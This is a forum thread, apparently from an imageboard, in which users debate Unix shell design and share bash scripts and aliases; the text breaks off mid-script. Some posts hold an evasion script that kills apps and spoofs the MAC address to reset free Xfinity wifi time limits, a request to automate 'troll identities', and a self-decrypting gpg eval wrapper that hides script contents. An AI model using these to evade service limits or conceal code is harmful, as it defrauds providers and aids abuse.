https://stackoverflow.com/questions/31152975/bash-aliases-in-xargs-bash-c-does-not-pass-arguments-to-command
Unsigned · 2018-10-02 03:31
>>10626
>cat file | parser | grep assignment | grep 10
uuoc, you can replace it with this
parser < file | grep assignment | grep 10
Zuse · 2018-10-02 06:07
>>10639
>Surly x = y = 10 is 2 different assignments when you get to the AST level
Yes it is, but ./find-node is able to use its static analysis to find out what is happening. You recognize that this is impossible to do with simple text. So you recognize the importance of ./find-node . Yet you would want both ./parser and ./find-node to output text. But if ./parser outputs text, then ./find-node has to have its own parser, which makes parser completely useless. By making everything use objects, you save all your parsing steps and thus make your components much more composable.
>What if you author of `parser` didn't expect anyone to want the field you want and doesn't include it in the object? Now you have to modify and recompile parser to include that field.
What if the author of the text-outputing binary you want didn't expect anyone to want the information you want and doesn't include it in the text output? Now you have to modify and recompile your binary to include that information.
Also, on Lisp machines, source code of every function was already available, inspectable and modifiable without needing a separate "source code" file. If you were able to run it, you were able to read it. You couldn't have a binary you couldn't inspect. Much, much different from the terrible packaging model modern OSes have, that do not even have debug symbols enabled by default.
>>10639
>So you're arguing for something that doesn't even exist?
I have my very specific set of ideas of how things should be done and implemented. Even if Lisp machines had won, my ideas probably wouldn't have been implemented yet. But if Lisp machines had won, implementing my ideas would have been trivial. Adding types to a lisp is absolutely possible (see typed racket or core.typed for clojure). There's nothing preventing currying either (I've seen it done in clojure).
>>10640
>would serialize and deserialize its internal objects to and from the same consistent text format then yes that would be better for piping data between programs
But why stop there? If you're going to output JSON anyway, you might as well output it as binary rather than text, this would save a lot of parsing/serializing. The shell could just read that data and output it as text when needed.
Random · 2018-10-02 09:25
>>9971
>Not to sound snarky, but read the BASH manual--like, all of it, section by section. There's no need for books on Bash as it's not really that complicated.
If you want to read a manual for a shell language, do yourself a favor and leave the stone age behind and learn the zsh
http://zsh.sourceforge.net/Doc/Release/zsh_toc.html
Its completely idiotic to still be using bash/awk/grep/sed
swap · 2018-10-02 19:03
>>10666
>But why stop there? If you're going to output JSON anyway, you might as well output it as binary rather than text, this would save a lot of parsing/serializing.
Do you understand what an ABI is by any chance? There is a reason JSON, XML, YAML etc are all text based. Using binary instead of text will introduce a whole new world of pain. C++ libraries suffer from this quite heavily, maybe look that up if you're not familiar.
>I have my very specific set of ideas of how things should be done and implemented.
I think you should go away and implemented it then. It's very easy to sit in your arm chair and soykaf on bash but if you actually tried to implement what you're saying you'll realize what the problems are and understand why people still use bash.
Spooky · 2018-10-03 07:25
>>10685
>Do you understand what an ABI is by any chance? There is a reason JSON, XML, YAML etc are all text based.
But the problem already exists today. Each program has its own ABI (because behind the scenes text is just that, binary). Each program expects its input to follow a specific pattern, even if it's just "reading text".
The only difference is that one is directly readable by the user and requires lots of parsing while the other is not and does not.
>I think you should go away and implemented it then
I'm already doing that.
>you'll realize what the problems are and understand why people still use bash
People still use bash because that's what's installed by default, that's what's taught in school, that's what you'll find documentation for online. ZSH is far superior to bash and yet bash's still the most used shell so your "it's good because that's what people use" argument is absolutely bullsoykaf.
Incognito · 2018-10-03 21:00
>>10694
>Each program has its own ABI (because behind the scenes text is just that, binary).
OK so you don't know what an ABI is.
>Each program expects its input to follow a specific pattern, even if it's just "reading text".
>The only difference is that one is directly readable by the user and requires lots of parsing while the other is not and does not.
Binary protocols still need parsing. I assume you don't just mean dumping objects as they appear in memory.
To get flexibility you need to serialize your objects into a parsable structure (either binary or ascii). Which is what json, xml, yaml, http etc are all about.
For example the following json objects mean the same thing
{"speed": 100, "direction": 3}
{"direction": 3, "speed": 100}
But if you're just dumping objects as they appear in memory then 0x6403 and 0x0364 mean completely different things. Yes there is zero parsing and zero runtime overhead but every program that consumes this object needs to understand that the first field is speed and the second of is direction. If you make any change at all to the structure of the object then you need to update everything else that uses that object. That's what an ABI is. I hope I don't need to explain why that is never going to work for a general purpose system shell.
>ZSH is far superior to bash
zsh is not different to bash in any significant way. It has nicer defaults which tends to wow beginners who don't realize bash can be configured the same way and it has slightly different scripting syntax. It defiantly doesn't do anything different regarding pipes or anything we're been discussing so I don't really understand why you're bringing it up out of the blue.
Hououin Kyouma · 2018-10-04 05:49
>>10703
>OK so you don't know what an ABI is.
Yes I do. "Place argument in register A, place other argument in register B, place return value in register C" is expecting structure out of the caller and callee. This is exactly equivalent to "the input stream should separate its values with a null byte, shouldn't contain slashes, will output values separated by a space" and so on. This is requiring structure for both the callee and the caller.
>Binary protocols still need parsing. I assume you don't just mean dumping objects as they appear in memory.
No they don't. There's no dumping memory, you can just give a pointer to shared memory.
>every program that consumes this object needs to understand that the first field is speed and the second of is direction
Not if, as said earlier, your programing languages and datastructures support introspection and reflection.
>zsh is not different to bash in any significant way
Yes it is. For once it has its own editor, which is much more powerful than a readline-powered bash. Bash only offers a single hook for its events while zsh lets you setup arrays. Bash doesn't have floating point while zsh does. Only people who don't make advanced use of their shells think bash and zsh offer the same number of features.
t · 2018-10-04 06:09
>>10703
Forgot to add
> It defiantly doesn't do anything different regarding pipes or anything we're been discussing so I don't really understand why you're bringing it up out of the blue.
I'm bringing it up to show you that even as far as text shells are considered, people won't use the best, they'll just use the default.
Tomohisa "Tom" Kanezaki · 2018-10-04 18:25
>>10714
>Yes I do. "Place argument in register A, place other argument in register B, place return value in register C" is expecting structure out of the caller and callee.
Obviously we're talking about memory layout here not calling convention. But well done for googling the right thing sort of.
>This is exactly equivalent to "the input stream should separate its values with a null byte, shouldn't contain slashes, will output values separated by a space" and so on.
It's not the same because if you are scanning the byte stream for nuls and slashes and spaces then that's called parsing.
An ABI is "the first byte means speed, the second byte means direction, bytes 3 and 4 mean altitude" and there is no parsing. You just cast the pointer and you're done.
Forget about ABIs, it's obvious at this point that what you're talking about is just using a text or binary protocol (like json or protobufs) between processes. Which is a good idea but like I said before, it's way too late to rewrite all commandline programs to use a consistent format like that.
So long as the world is a melee of programs outputting arbitrary text, then the unix shell model with sed/awk/grep etc. is the most powerful solution.
Tomohisa "Tom" Kanezaki · 2018-10-05 05:32
>>10727
>It's not the same because if you are scanning the byte stream for nuls and slashes and spaces then that's called parsing.
It is the same because badly-formated input will result in unexpected and unwanted behavior while correctly-formated input will not.
>Forget about ABIs, it's obvious at this point that what you're talking about is just using a text or binary protocol
No I am not. I am talking about having a real programming language available as a shell with every binary represented as a function that will pass raw data to each other.
>it's way too late to rewrite all commandline programs to use a consistent format like that
I agree, hence my "I wish lisp machines had won". But this is not what we're arguing about, we're arguing about whether passing objects rather than text is a good idea or not.
Joe Bloggs · 2018-10-05 17:44
>>10727
>(Always argue in good faith.)
Seriously?
Tyrell Wellick · 2018-10-05 23:39
>>10743
>But well done for googling the right thing sort of.
This is the reason for the warning. You can argue it was unnecessary, but I'd prefer that be done in /q/ rather than here, if wanted.
Colmerauer · 2018-10-06 07:49
>>10748
Did you even read the context? He obviously copy and pasted the wrong part of the wikipedia page without understanding any of it. What has calling conventions got to do with this thread?
>>10734
>It is the same because badly-formated input will result in unexpected and unwanted behavior while correctly-formated input will not.
And this isn't bad faith?
>tomatos and apples are the same thing because they are both red
The only way that's not bad faith is if you have an actual learning disability.
I can't believe I spent so much time being patient and informative with my responses only to have the mod take sides against me. It's no wonder the quality of this board is so low.
Bobby Newmark · 2018-10-06 12:34
>>10757
>What has calling conventions got to do with this thread?
Calling conventions are protocols that enable communication between different entities. That's exactly what piping text between two programs is.
>And this isn't bad faith?
No it isn't. Your point is about how mismatches in expectations between APIs provoke incompatibilities and this is a problem that exists everywhere, even between programs that communicate together with text.
>>tomatos and apples are the same thing because they are both red
>The only way that's not bad faith is if you have an actual learning disability.
But tomatoes and apples are the same if the only thing you care about is filling your stomach, and this is why my point stands, because the only thing we care about is communication between two different entities and these entities can be whole programs, functions, servers, whatever you want. ABI incompatibility is just a mismatch in protocols.
>I can't believe I spent so much time being patient and informative
You haven't been patient and informative, you didn't even bother reading the links I provided. Had you read the interim OS one you wouldn't have raised some of the points you raised because they're taken care of on that website. You've been consistently trying to attack me rather than my points ("Sounds more like a grass is greener fallacy born out of ignorance", "Do you understand what an ABI is by any chance", "It's very easy to sit in your arm chair and soykaf on bash"...). The mod stepping in and telling you to argue in good faith was just trying to make you understand that you should try to rebuke my points instead of using ad hominems.
Kay · 2018-10-07 11:26
>>10757
> I can't believe I spent so much time being patient and informative with my responses only to have the mod take sides against me. It's no wonder the quality of this board is so low.
Well it was an interesting discussion to follow, that time was not spent only for the person you answered.
Sipho Nkosi · 2018-10-14 23:50
I'm going to dump the scripts I've written and use frequently here. I've written them on openbsd, but I think change #!/bin/ksh to #!/bin/bash and change ftp to wget and you should be set. This first file I have bound as a external viewer in w3m to make it a simple hot key away from opening a image video or document, it also works nicely when I'm linked something in IRC.
#!/bin/ksh
quietly() {
$1 </dev/null >/dev/null 2>&1
}
perform() {
tmp=$(mktemp -d)
trap 'rm -rf $tmp' EXIT
cd $tmp
quietly "ftp $2"
quietly "$1 $(find $tmp -type f)"
}
main() {
case $1 in
*".png"*|*".jpg"*|*".jpeg"*|*".bmp"*|*".pdf"*|*".epub"*)
perform "mupdf" $1
;;
*".gif"*|*".webm"*)
perform "mpv --loop=inf" $1
;;
*"imgur"*)
perform "mupdf" $(printf "%s" $1/zip | sed "s/gallery/a/g")
;;
*)
quietly "mpv --ytdl-format=webm+bestaudio/720p --slang=en $1"
;;
esac
}
quietly "nohup $(main $1)" & This next script is a podcatcher, it's a simplified version of bashpodder which I have in a cronjob to fetch a couple of podcasts.
#!/bin/ksh
cd ~/pod
while read podcast
do
filelist=$(ftp -o - "$podcast" | grep -o '<enclosure[^>]*' | grep -o 'http[^"]*')
for file in $filelist
do
if ! grep -q "$file" .log
then
ftp -C "$file"
echo $file >> .log
fi
done
done < .podlist This script uploads a file to my server over ssh and then tells me the url p. basic stuff.
#!/bin/ksh
if [[ -f $1 ]]; then
tar czf - $1 | ssh my.url "cd tmp && tar xzf -"
echo "http://my.url/tmp/"$(find $1)
fi Lastly this is the simple script I use for screenshots.
#!/bin/ksh
i=1
while [[ -e /home/bt/tmp/screen$i.png ]]
do
let i++
done
ffmpeg -loglevel -8 -f x11grab -video_size 1366x768 -i $DISPLAY -vframes 1 ~/tmp/screen$i.png
nxl4 · 2018-12-08 13:36
>>9960
I learned with Blum and Bresnahan's "Linux Command Line and Shell Scripting Bible". It's got clear descriptions, and lots of good examples work through.
OOO · 2019-01-20 20:53
>>9960
Boris Grishenko · 2019-03-19 06:29
>>9933
I think that the best resource about bash is...
$ man bash Sometimes I hate man because I need for a quick way to get possible parameters and it put them a lot of pages down, but in this case the man is a clear and complete guide to bash.
Lain Iwakura · 2019-03-26 09:56
How come bash lets me create functions like
help.get () {
printf "Usage: $0 [OPTION]... [FILE]..."
} but when I write
help.usage="Usage: $0 [OPTION]... [FILE]..."
printf "$help.usage" I get an error indicating that help.usage .... : command not found? Thank you lain.
setq · 2019-03-26 13:07
>>13005
https://www.gnu.org/software/bash/manual/bashref.html#Definitions
"""name
A word consisting solely of letters, numbers, and underscores, and beginning with a letter or underscore. Names are used as shell variable and function names. Also referred to as an identifier."""
https://www.gnu.org/software/bash/manual/bashref.html#Shell-Functions
"""Functions are declared using this syntax:
name () compound-command [ redirections ]
or
function name [()] compound-command [ redirections ]
This defines a shell function named name."""
Allowing a dot in the function name is an error in the parser. In dash you get:
$ echo "a.b () { echo lain ; }" | dash
dash: 1: Syntax error: Bad function name Assignment to help.usage doesn't work because:
https://www.gnu.org/software/bash/manual/bashref.html#Shell-Parameters
"""A variable may be assigned to by a statement of the form
name=[value]"""
and names cannot contain dots, so the parser doesn't recognize that as an assignment and passes it on to the next phase where it becomes the command token.
The error in the bash parser is that it uses WORD as the function name:
https://sources.debian.org/src/bash/4.4-5/parse.y/#L901
and calls make_function_def which doesn't check that the WORD is a valid name and just uses it blindly:
https://sources.debian.org/src/bash/5.0-2/make_cmd.c/#L763
By contrast, assignment names are checked with legal_variable_starter and legal_variable_char:
https://sources.debian.org/src/bash/5.0-2/general.c/#L410
One consequence is that this passes:
$ .?! () { echo lain ; }
$ .?!
lain You might want to give the bash people a nudge.
St. IGNUcius · 2019-03-26 16:37
>>13006
Thank you lain. I just wanted to write functions and variables OOP style for clearance of code. I will use underscore instead of dot then.
nibble · 2019-04-03 02:54
>>1111
hey guys. first bash shell script i made. tell me how to get gud like all you pro hackermen like helliot calderson
export BLUE='\033[1;94m'
export GREEN='\033[1;92m'
export RED='\033[1;91m'
export PINK='\033[;95m'
echo $BLUE you ready to wreck some
echo $GREEN S$BLUE H$RED I$GREEN T
if service network-manager restart; then
echo $PINK NETWORK MANAGER DOWN MOTHERFUCKER
fi
sudo killall -q chrome dropbox iceweasel skype icedove thunderbird firefox firefox-esr chromium xchat hexchat transmission steam firejail
echo $RED IM FROM BUENOS ARES AND I SAY KILL EM ALL
#if bleachbit -c adobe_reader.cache chromium.cache chromium.current_session chromium.history elinks.history emesene.cache epiphany.cache firefox.url_history flash.cache flash.cookies google_chrome.cache google_chrome.history links2.history opera.cache opera.search_history opera.url_history &> /dev/null; then
#echo $BLUE like with a cloth or something?
if ifconfig wlan0 down || macchanger wlan0 -a; then
echo $GREEN EFG AQUIRED, MAXIMUM FAIL OVERDRIVE DUBS INCOMING
fi
echo $BLUE LETS$GREEN GET$RED RE$GREEN DICK$BLUE YOU$PINK LESS
sleep 1
fi
it's for free wifi from xfinity and other "you get x amount of time free" sites and setups
rate my coding skill. commented out bleachbit because i wanted to run it multiple times adjusting color to something i liked. i know it's baby first script, it's actually my entirely self taught bash shell script, mostly through python but now purely in bash form.
Help me make it better, i'd like to save previous identitites and tokens to be loaded later, and by doing that we can successfully manage troll identities as well as going anonymous
also i'd like to automate the signup for xfinity since it's a nationwide service
null · 2019-06-19 19:53
One recommendation that I have is to use shellcheck. It's a command line utility, website, and there are plugins for editors. It's arguably the best utility to use when making bash scripts.
Mario Rossi · 2019-07-13 11:37
So I've made 2 little dmenu scripts for managing todo file with dmenu interface and simple dmenu based lockscreen. I'd appreciate any input on how code could be improved. Thanks.
https://github.com/ilzichio/dmenu-todo
https://github.com/ilzichio/dmenu-lock
Hagbard Celine · 2019-07-17 11:02
Here are a few scripts to perform some media file transcoding tasks. Recently I've cleaned them up a little, some of you guys may find them useful.
https://github.com/Aanok/mediautils
And remember, lains: always use Opus for your audio streams unless you need lossless archiving.
Hong, Guil Dong · 2019-07-22 05:59
I'm pretty proud of this function I made to set my system's volume from the command line with absolutely 0 previous bash knowledge:
function setVol (){
amixer -q set Master $1%
echo "Changed Master volume to" $1
}
Neuromancer · 2019-10-16 10:05
Hi there lainons.
I need to learn bash before yesterday. Do you have any good tutorial recomendations (text only).
I am going to go through the responses to >>9960, but if you guys have some concise tutorials, I would highly appreciate.
I am a long term linux user, familiar with the command line as well as a proficient programmer. I just need to get familiar with syntax and whatnot. I have written small linux scripts for devops (just putting a bunch of commands that i need to run together), but nothing with functions, conditionals, storing variables...
Thanks a lot
car · 2019-10-16 10:54
>>15656
https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html
also RTFM.
Turner · 2019-10-16 12:21
>>15657
As I said, I am already doing that, as that was the shortest document replied to >>9960.
I need something more concise, that will take me through my current project. Something more tutorial-y.
Also I said, I am a proficient programmer, which would be the equivalent to professional RTFMer ;). Thanks for you answer anyways.
Netrunner · 2019-10-16 17:32
My scripts: https://repo.or.cz/q3cpma-shell-scripts.git/tree
POSIX shell only with minor exceptions for stuff like readlink -f or find -print0/xargs -0
renames · 2019-10-16 19:53
>>15661
By the way, daily reminder that if your scripts can't handle filenames starting with a dash, ending in a whitespace or containing a newline, it's not Correct(TM).
Well, doing that in POSIX sh is a good way to experience hell and try to replace sh with something good like Tcl.
Masami Eiri · 2019-10-18 14:36
>>15656
Bash grammar: github.com/jalanb/jab/blob/master/src/bash/bash.bnf
Learn sh first, then ksh, finally bash.
if · 2020-04-13 01:00
Today I discovered the command xclip, used to interact with the clipboard. For example
xclip -select c -o outputs what you last copied.
Quite convenient to pass arguments to scripts which are called via a shortcut rather than the CLI.
Vasya Pupkin · 2020-06-16 22:41
>>14326\
this won't run in all shells ( can't prefix function and expect that )
>>8666
not just will this run in all shells; it's got 666 in it and deserves a shoutout for contrast.
Naomi Nascimento · 2020-06-20 15:15
>>10622
>Allow small scripts to grow
I think that's the issue. You shouldn't want your small scripts to grow. Bash shouldn't be used to write robust programs. Having pipeable text is very malleable and useful to solve problems on the fly. If you have decentralised development of programs you can't have a complex interface between them. Microsofts powershell pulls it off because it's controlled by one entity.
queue · 2020-06-21 18:22
It should be obvious that the Unix shell is awful, since no one is asking for a programming language where subroutines liberally interpret their arguments and communicate by piping bytes to each other.
That arbitrary argument interpretation is the default for implementing command line programs is insane. We've had function signatures for decades. Perl5 had manual @_ parsing for subroutine arguments, it was awful. An old version of SmallTalk had parsing for subroutine arguments, they fixed it, because nobody liked it. Everyone who isn't lazy or insane uses a library to parse their command line arguments anyway.
That the default for subroutine communication is byte streams is insane. This requires every single program to implement its own parser for input and output. It is impossible to reliably parse input unless the input is specified. It doesn't matter if it's plain text. Parsing unspecified formats doesn't work; it just appears to work, like special effects. At best, you end up with a library that every program can opt into, just like argument parsing.
It should be obvious that there's nothing fundamentally necessary about the way programs interact on Unix, or any major OS, on the command line. The current system is baroque. It's so bad that bash supports writing functions inside of it, because writing multiple shell scripts and having them interact is a pain.
藤原純一 · 2020-06-21 18:24
>>14257
Nice, but why does it need to be a function?
Joey · 2020-06-22 21:32
why do people put '|| true' at the end of a command?
as i understand it, if the command fails, evalutate ture
but why??
Lady 3Jane.. · 2020-06-22 21:54
>>19330
A shell doesn't evaluate, it executes. That ensures that if the exit code is non-0, that true is run, and it's exit code must be 0, so that the entire command always sets 0 as the exit code. Depending on the use-case, this might be wanted to avoid a script/make rule from failing because of a non-0 exit code.
setq · 2020-06-23 03:10
>>19330
https://man7.org/linux/man-pages/man1/dash.1.html
>-e errexit
>If not interactive, exit immediately if any
>untested command fails. The exit status of a
>command is considered to be explicitly tested if
>the command is used to control an if, elif,
>while, or until; or if the command is the left
>hand operand of an “&&” or “||” operator.
But some commands can give unwanted errors.
https://man7.org/linux/man-pages/man1/expr.1.html
>Exit status is 0 if EXPRESSION is neither null nor 0, 1 if EXPRESSION
>is null or 0, 2 if EXPRESSION is syntactically invalid, and 3 if an
>error occurred.
To keep 'set -e' but suppress unwanted errors, you can use '|| true'.
$ expr 66 - 55
11
$ echo $?
0
$ expr 55 - 55
0
$ echo $?
1
$ expr 55 - 55 || true
0
$ echo $?
0
$
Davis · 2020-06-24 15:00
I wrote a dreadful script to upload a list of files to mega.nz using a randomly generated disposable email account.
It's dirty and does almost no error checking but it mostly works.
#!/bin/bash
# Upload files to a single throwaway mega.nz account linked to a disposable
# email from 1secmail.com.
# Dependencies: curl, jq, megatools html-xml-utils.
##########################################
usage() {
echo 'mega-upload file [file]+'
}
random_anum() {
</dev/urandom tr -dc 'A-Za-z0-9' | head -c "$1"; echo
}
#########################################
# check argcount
[[ "$#" -lt 1 ]] && { usage; exit 1; }
# check dependencies
command -v jq >/dev/null || { echo "Error: program jq not found." >&2; exit 1; }
command -v curl >/dev/null || { echo "Error: program curl not found." >&2; exit 1; }
command -v megatools >/dev/null || { echo "Error: program megatools not found." >&2; exit 1; }
command -v hxselect >/dev/null || { echo "Error: program hxselect not found." >&2; exit 1; }
login="$(random_anum 16)"
domain='1secmail.com'
email="${login}@${domain}"
password="$(random_anum 16)"
reg_id=( "$(megatools reg --ignore-config-file --register -n 'The Earl of Gray' -e "${email}" -p "${password}" | grep megatools | cut -d ' ' -f '6')" )
printf 'Registration request sent.\n'
printf 'Checking for registration email: '
while true; do
sleep 2
messages="$(curl -s "https://www.1secmail.com/api/v1/?action=getMessages&login=${login}&domain=${domain}")"
if [[ "$(jq 'length' <<< "${messages}")" -ge 1 ]]; then
printf 'found.\n'
break;
fi
printf '.'
done
msg_id="$(jq '.[0].id' <<< "${messages}")"
msg_body="$(curl -s "https://www.1secmail.com/api/v1/?action=readMessage&login=${login}&domain=${domain}&id=${msg_id}" | jq -r '.body')"
reg_link="$(hxselect '#bottom-button::attr(href)' <<< "${msg_body}" | cut -d '"' -f 2)"
megatools reg --verify "${reg_id}" "${reg_link}" || exit 1
printf 'Registered with email "%s" and password "%s".\n' "${email}" "${password}"
successes=( )
for x in "$@"; do
megatools put -u "${email}" -p "${password}" "${x}" && successes+=( "${x}" )
done
for x in "${successes[@]}"; do
megatools export -u "${email}" -p "${password}" "/Root/$(basename "${x}")"
done
Lord Nikon · 2020-06-25 08:59
>There used to be a bash thread, now there's not
>posts config for a completely different shell
tfw there's still no bash thread :(
fsociety · 2020-08-15 05:26
>>19353
really cool!
Turing · 2020-08-20 16:28
>>20270
Thanks! I've since made it a little bit less terrible: https://pastebin.com/neE28XzR
Fausto · 2020-08-21 14:05
>>8666
Hey lain I liked you aliases and already had the mkcd!
Here are mine chummers
alias ls='ls --color=always --group-directories-first'
alias lsl='ls -lh'
alias lsa='ls -lah'
alias ..='cd ..'
alias ...='cd ../..'
alias s='sudo'
alias python='python3'
alias pipenv='pipenv --three'
alias ~='cd && clear'
alias cls='clear'
alias gcc='gcc -fstack-protector'
alias mkdir='mkdir -p'
alias gs='git status'
alias ga='git add .'
alias gc='git commit -m'
alias bye='shutdown now'
alias whois='whois -H'
alias grep='grep --color=auto'
alias mp3='youtube-dl -x --prefer-ffmpeg --audio-format mp3'
alias plydir='mpv --shuffle *'
alias vihex='hexer'
alias godot='godot &>/dev/null &'
alias run_dvwa='s docker run --rm -it -p 80:80 vulnerables/web-dvwa'
alias refresh='source $HOME/.bash_aliases'
alias list-apks='adb shell pm list packages'
alias classyshark='java -jar $HOME/Documents/Tools/ClassyShark.jar && rm classyshark*'
alias dex2jar='sh $HOME/Documents/Tools/dex2jar-2.0/d2j-dex2jar.sh'
alias jd-ui='java -jar $HOME/Documents/Tools/jd-gui-1.6.6.jar'
alias vi-alias='vim $HOME/.bash_aliases'
function get-apk {
adb pull $(adb shell pm path $1 | awk -F':' '{print $2}');
}
function mkcd {
mkdir -p "$1"
cd "$1"
}
function seekIPblock {
ip=$(dig +short "$1")
printf "IP $ip belongs to the block: "
whois $ip | grep inetnum | awk '{ print $2 "-" $4 }'
}
Ainod Ehna · 2020-09-02 12:45
ed with readline, autocomplete, & syntax highlighting
function rled {
rlwrap -r --filter pipeto -f "$1" ed "$1" | pygmentize -s -l "${1##*.}"
}
graphical fzf (i.e. dmenu-style popup select using fzf)
function gfzf {
if [[ -n "$GFZF_TERM" ]]; then
termcmd="$GFZF_TERM"
else
if command -v alacritty >&-; then
termcmd=alacritty
elif command -v kitty >&-; then
termcmd=kitty
else
echo No suitable terminal found. Please export GFZF_TERM >&2
exit 1
fi
fi
tmpin=$(mktemp /tmp/gfzf.XXXX)
tmpout=$(mktemp /tmp/gfzf.XXXX)
cat - > "$tmpin"
$termcmd --class "gfzf" -e "bash" "-c" "fzf -m < $tmpin > $tmpout" && cat "$tmpout"
rm "$tmpin"
rm "$tmpout"
} alacritty and kitty as defaults to use as they both support --class, which can be used with your window manager to setup a no-decoration top-layer rule for the popup
H.R. Giger · 2020-11-08 20:02
bumpy wumpy
Yuki Nagato · 2020-11-08 22:32
ive come here to say: fuarrrk bash and its bullshit. why do we have to put up with this soykaf?
thank you for your attention.
Armitage · 2020-11-09 19:20
>>22043
what should we use instead? ksh?
hash table · 2020-11-09 20:54
>>22043
Becase all the bad things about it piled up through the years because they're handy.
It's like a mad scientist's toolkit. Insane, but if you learn how to use it you can do terrible, beautiful feats.
Unrelated; here's a script to search and download videos from #nibl via XDCC:
#!/bin/bash
# Simple Bash script to download anime from #nibl via XDCC.
DEPENDENCIES=(curl jq dialog xdcc)
usage () {
printf '%s [-e episode_number] [-d output_directory] [-v] anime_title\n' "$(basename ${0})" >&2
}
# parse arguments
[[ "$#" -lt 1 ]] && { usage; exit 1; }
while true; do
case "${1}" in
-h)
usage
exit 0
;;
-e)
episode="${2}"
shift 2
;;
-d)
mkdir -p "${2}" || exit 1
outdir=( '-d' "${2}" )
shift 2
;;
-v)
verbose=( '-v' )
shift
;;
--)
shift
title="$@"
break
;;
-?*)
printf 'Error: Unkown option "%s".\n' "$1" >&2
usage
exit 1
;;
*)
title="$@"
break
;;
esac
done
# check dependencies
for cmd in "${DEPENDENCIES[@]}"; do
command -v "${cmd}" >/dev/null || { echo "Error: program ${cmd} not found." >&2; exit 1; }
done
# generate <bot_id,bot_name> associations
mapfile -t botlist_raw < <(curl -s "https://api.nibl.co.uk/nibl/bots" | jq -r '.content[] | "\(.id) \(.name)"')
for bot in "${botlist_raw[@]}"; do
id="$(cut -d ' ' -f 1 <<< "${bot}")"
botname="$(cut -d ' ' -f '2-' <<< "${bot}")"
botlist["${id}"]="${botname}"
done
unset botlist_raw
# run query
query_string=( '--data-urlencode' "query=${title}" )
if [[ "${episode}" ]]; then query_string+=( '--data-urlencode' "episodeNumber=${episode}" ); fi
results_raw="$(curl -sG "https://api.nibl.co.uk/nibl/search" "${query_string[@]}")"
[[ "$(jq -r '.status' <<< "${results_raw}")" == 'OK' ]] || { printf 'Error: api.nibl.co.uk returned an error.\n' >&2; exit 1; }
mapfile -t results_raw < <(jq -r '.content[] | "\(.botId) \(.number) \(.size) \(.name)"' <<< "${results_raw}")
for result in "${results_raw[@]}"; do
bot_id="$(cut -d ' ' -f 1 <<< "${result}")"
item_n="$(cut -d ' ' -f 2 <<< "${result}")"
size="$(cut -d ' ' -f 3 <<< "${result}")"
name="$(cut -d ' ' -f '4-' <<< "${result}")"
results+=( "${bot_id} ${item_n}" "${size} ${name}" off )
done
[[ "${#results[@]}" == 0 ]] && { printf 'Sorry, no results found.\n' >&2; exit 1; }
unset results_raw
# user selection
targets_file="$(mktemp)"
dialog --separate-output --notags --checklist "Please select files for download by using ARROWS, SPACE and ENTER." 0 0 0 "${results[@]}" 2>"${targets_file}" || { clear -x; exit 0; }
clear -x
# parse selection; collate packs under same bot for quicker download
while IFS='' read -r line; do
bot="$(cut -d ' ' -f 1 <<< "${line}")"
pack="$(cut -d ' ' -f 2 <<< "${line}")"
targets["${bot}"]+="${pack} "
done < "${targets_file}"
rm "${targets_file}"
# download
for bot_id in "${!targets[@]}"; do
mapfile -d ' ' -t packs < <(echo -n "${targets[${bot_id}]}")
xdcc "${verbose[@]}" "${outdir[@]}" -s 'irc.rizon.net' -c '#nibl' -b "${botlist[${bot_id}]}" -y "${packs[@]}"
done
aliased · 2020-11-12 00:11
>>1111
Encrypt the output of a script:
read -p 'Script: ' S && C=$S.crypt H='eval "$((dd if=$0 bs=1 skip=//|gpg -d)2>/dev/null)"; exit;' && gpg -c<$S|cat >$C <(echo $H|sed s://:$(echo "$H"|wc -c):) - <(chmod +x $C)
Technician · 2020-11-12 01:59
>>22067
That's both terrible and pretty neat.
stack · 2020-11-12 07:43
>>22065
>what should we use instead? ksh?
Uriel says rc, OpenBSD's pdksh, ash/dash.
http://harmful.cat-v.org/software/
nil · 2021-01-15 18:10
I wrote a bash script that downloads entire collections from the Internet Archive using aria2c.
You can download things like the LibriVox collection (https://archive.org/details/librivoxaudio) or the vaporwave one (https://archive.org/details/vaporwave, this one being the reason for which I wrote it). Obvously the internet archive has other collections in which other lains might be more interested in. Now you don't need to go through it item by item. You just run a script the downloads all these zip files. These takes a lot of time tough, depending on the size of the collection and on your internet speed.
It needs bash, curl, sed and aria2c. It's poorly written and someone here can easily do a better job, so I live that to you. Sorry if the comments of the script are retarded, I'm just really tired. Hopefully, it will make sense to you. Run it in the directory you want to download the files in and just give it the link to the internet archive collection as a paramater.
#!/bin/bash
# SCRIPT FOR SCRAPING INTERNET ARCHIVE COLLECTIONS
# MADE FOR DOWNLOADING THE VAPORWAVE COLLECTION
# (https://archive.org/details/vaporwave?tab=collection)
# HOPEFULLY IT WORKS FOR OTHER COLLECTIONS TOO
# ALL FILES ARE DOWNLOADED IN A ZIP ARCHIVE
#
# !!!
# THE SCRIPT HAS BEEN TRIED ONLY ON BASH AND IT'S
# CERTAINLY NOT POSIX-COMPLIANT. THINGS IT NEEDS TO WORK:
# -BASH
# -ARIA2C
# -CURL
# -SED
# HOWEVER I BELIEVE THE SCRIPT CAN BE MODIFIED TO WORK
# WITHOUT THESE TOOLS OR WITH AN ALTERNATIVE SET OF TOOLS
#
# THIS SCRIPT IS A REAL MESS SINCE I'M DO NOT KNOW
# HOW TO WRITE BASH OR HOW UNIX-LIKE SYSTEMS WORK
# AND YET THE SCRIPT WORKS
# IF YOU CAN IMPROVE IT, PLEASE DO SO
# YOU CAN WRITE BETTER, DO SO
#
# IT MIGHT TAKE SOME TIME UNTIL IT STARTS DOWNLOADING
# DEPENDING ON THE SIZE OF THE COLLECTION
# HAVE PATIENCE
NFILE=".names" # TEMPORARY FILE TO EXTRACT ITEM NAMES FROM COLLECTION PAGE
echo "1" > $NFILE # MAKE SURE THE FILE IS NOT EMPTY AT FIRST RUN
GFILE=".ialinks" # TEMPORARY FILE FOR THE FULL URLS
PGCOUNTER=1 # PAGE COUNTER
while [ -s "$NFILE" ] # WE CHECK THE PAGES FOR ITEMS
do
MAINURL="$1?&sort=-week&page=$PGCOUNTER" # INDIVIDUAL PAGE URL FROM GENERAL COLLECTION URL
# THE LINE BELOW IS REALLY A MESS (JUST LIKE THE REST OF THE SCRIPT to be honest)
# BUT IT WORKS AND ALL IT DOES IS THE FOLLOWING
# CURLS THE HTML PAGE AND PIPES IS THROUGH MULTIPLE SED COMMANDS THAT
# REMOVE ALL UNNECESARY LINKS IN THE PAGE
# IT GETS THE LINKS TO EVERY ITEM ON THE PAGE
